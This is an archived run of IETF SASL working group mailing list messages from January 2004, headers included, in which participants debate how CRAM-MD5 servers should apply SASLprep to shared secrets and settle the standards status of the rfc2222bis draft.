try and do as much as we can on the base spec, stringprep, plain and anonymous. We are trying to get those drafts to the IESG. But among the remaining documents it may be better to focus time based on who is available. Also, if you have specific issues that need meeting time, please /let us know. Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMcdib011463; Mon, 12 Jan 2004 14:38:39 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMcdPC011462; Mon, 12 Jan 2004 14:38:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (KONISHI-POLIS.MIT.EDU [18.18.3.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMccib011456 for ; Mon, 12 Jan 2004 14:38:39 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 35A5D1515FF; Mon, 12 Jan 2004 17:38:26 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> From: Sam Hartman Date: Mon, 12 Jan 2004 17:38:26 -0500 In-Reply-To: <2147483647.1073918049@115.216-123-230-0.interbaun.com> (Lyndon Nerenberg's message of "Mon, 12 Jan 2004 14:34:09 -0700") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'd like to hear from people who believe we should allow unassigned codepoints in cram-md5. Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMYdib011343; Mon, 12 Jan 2004 14:34:39 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMYdJP011342; Mon, 12 Jan 2004 14:34:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMYcib011337 for ; Mon, 12 Jan 2004 14:34:38 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0CMYe4f001348; Mon, 12 Jan 2004 22:34:40 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.0.22.0.20040112140930.0435ea50@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.0.22 Date: Mon, 12 Jan 2004 14:34:35 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: ietf-sasl@imc.org In-Reply-To: <2147483647.1073918049@115.216-123-230-0.interbaun.com> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 01:34 PM 1/12/2004, Lyndon Nerenberg wrote: >--On 2003-12-1 11:39 PM +0100 Simon Josefsson wrote: > >>Hello, I have read the document. Some comments: >> >>,---- >>| The client MUST prepare the user name and shared secret strings >>| using the [SASLPrep] profile of the [StringPrep] algorithm. The >>| resulting values MUST be encoded as UTF-8 [UTF8]. >>`---- >> >>I suggest adding: >> >> The server MUST prepare the shared secret string using the >> [SASLPrep] profile of the [StringPrep] algorithm. The resulting >> value MUST be encoded as UTF-8 [UTF8]. The server may store the >> prepared string instead of, or as well as, the unprepared >> string, so that it does not have to prepare it every time it is >> needed for computation. However, if the original, unprepared >> string, is not stored, it may render the computed secret to be >> incompatible with a future revisions of SASLPrep that support >> currently unassigned code points (compare section 7 of >> [StringPrep]). It is therefor recommended to store the >> unprepared string in the database. > >There was quite a bit of discussion over this suggestion, but I don't think we reached any consensus about including the additional text. I'm about to push a new draft, and would appreciate a hum over whether or not it should be added. The suggestion seems quite odd to me. If SASLprep were to revised, that revision would allow for an expanded set of inputs (and likely with an expanded set of outputs). Or to put it another way, an input string which fails today's SASLprep might not fail tomorrow's SASLprep (producing either a new output or an old output). I would think it far better to recommend that servers refuse to store input strings and/or their prepared output of the input strings if the current SASLprep fails. Instead, they should report a error. This because it makes little sense to store a string which is useless day (in SASL). Kurt Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CLYKib008810; Mon, 12 Jan 2004 13:34:20 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CLYKVt008809; Mon, 12 Jan 2004 13:34:20 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (115.216-123-230-0.interbaun.com [216.123.230.115]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CLYIib008803 for ; Mon, 12 Jan 2004 13:34:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 115.216-123-230-0.interbaun.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 681F865A55 for ; Mon, 12 Jan 2004 14:34:13 -0700 (MST) Date: Mon, 12 Jan 2004 14:34:09 -0700 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 stringprep text Message-ID: <2147483647.1073918049@115.216-123-230-0.interbaun.com> In-Reply-To: References: X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2003-12-1 11:39 PM +0100 Simon Josefsson wrote: > Hello, I have read the document. Some comments: > > ,---- >| The client MUST prepare the user name and shared secret strings >| using the [SASLPrep] profile of the [StringPrep] algorithm. The >| resulting values MUST be encoded as UTF-8 [UTF8]. > `---- > > I suggest adding: > > The server MUST prepare the shared secret string using the > [SASLPrep] profile of the [StringPrep] algorithm. The resulting > value MUST be encoded as UTF-8 [UTF8]. The server may store the > prepared string instead of, or as well as, the unprepared > string, so that it does not have to prepare it every time it is > needed for computation. However, if the original, unprepared > string, is not stored, it may render the computed secret to be > incompatible with a future revisions of SASLPrep that support > currently unassigned code points (compare section 7 of > [StringPrep]). It is therefor recommended to store the > unprepared string in the database. There was quite a bit of discussion over this suggestion, but I don't think we reached any consensus about including the additional text. I'm about to push a new draft, and would appreciate a hum over whether or not it should be added. --lyndon Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07Hrvib064298 for ; Wed, 7 Jan 2004 09:53:57 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i07Hrup7064296 for ietf-sasl-bks; Wed, 7 Jan 2004 09:53:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07Hrtib064291 for ; Wed, 7 Jan 2004 09:53:56 -0800 (PST) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 7 Jan 2004 17:53:50 +0000 Message-ID: <3FFC47AD.6060208@isode.com> Date: Wed, 07 Jan 2004 17:53:49 +0000 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Kurt D. Zeilenga" CC: Rob Siemborski , ietf-sasl@imc.org Subject: Re: I-D ACTION:draft-ietf-sasl-rfc2222bis-04.txt References: <200312232035.PAA08146@ietf.org> <6.0.0.22.0.20031229133042.02716f20@127.0.0.1> In-Reply-To: <6.0.0.22.0.20031229133042.02716f20@127.0.0.1> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Kurt D. Zeilenga wrote: >At 12:48 PM 12/29/2003, Rob Siemborski wrote: > > >>On Tue, 23 Dec 2003 Internet-Drafts@ietf.org wrote: >> >> >>>A New Internet-Draft is available from the on-line Internet-Drafts directories. >>>This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. >>> >>> Title : Simple Authentication and Security Layer (SASL) >>> >>> >>Nit: Document states that it will be a draft standard, is this still the >>case or is the stringprep stuff forcing us to recycle at proposed? >> > >We'll be recycling at Proposed. > > Fixed in my copy. Alexey